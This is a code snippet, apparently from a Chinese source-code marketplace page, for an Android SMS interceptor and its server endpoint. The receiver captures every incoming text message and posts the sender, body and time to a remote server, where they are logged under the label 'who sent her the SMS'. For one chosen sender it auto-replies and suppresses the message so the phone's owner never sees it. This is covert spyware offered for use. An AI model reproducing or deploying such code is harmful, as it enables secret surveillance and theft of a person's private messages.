public ActionForward getSMS(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
VideoForm formbean = (VideoForm)form;
System.out.println("发送时间:"+ formbean.getTime());
System.out.println("谁给她发的短信:"+ formbean.getSender());
System.out.println("内容:"+ formbean.getContent());
return mapping.findForward("result");
}
<receiver android:name=".MySMSListener"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
<uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import cn.class3g.utils.SocketHttpRequester;
…
public class MySMSListener extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < messages.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage msg : messages) {
String content = msg.getMessageBody();
String sender = msg.getOriginatingAddress();
Date date = new Date(msg.getTimestampMillis());
SimpleDateFormat sdf = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendTime = sdf.format(date);
Map<String,String> param = new HashMap<String,String>();
param.put("method", "getSMS");
param.put("sender", sender);
param.put("content", content);
param.put("time", sendTime);
String path =
"http://192.168.1.100:8080/videoweb/video/manage.do";
try {
SocketHttpRequester.post(path, param, "UTF-8");
} catch (Exception e) {
Log.e("TAG",e.toString());
}
}
}
}
}
String sendContent = sdf.format(date) + ":" + sender + "--"
+ content;
Log.i("TAG",sendContent);
if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556",null,"game over",null,null);
this.abortBroadcast(); //终止广播
}
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有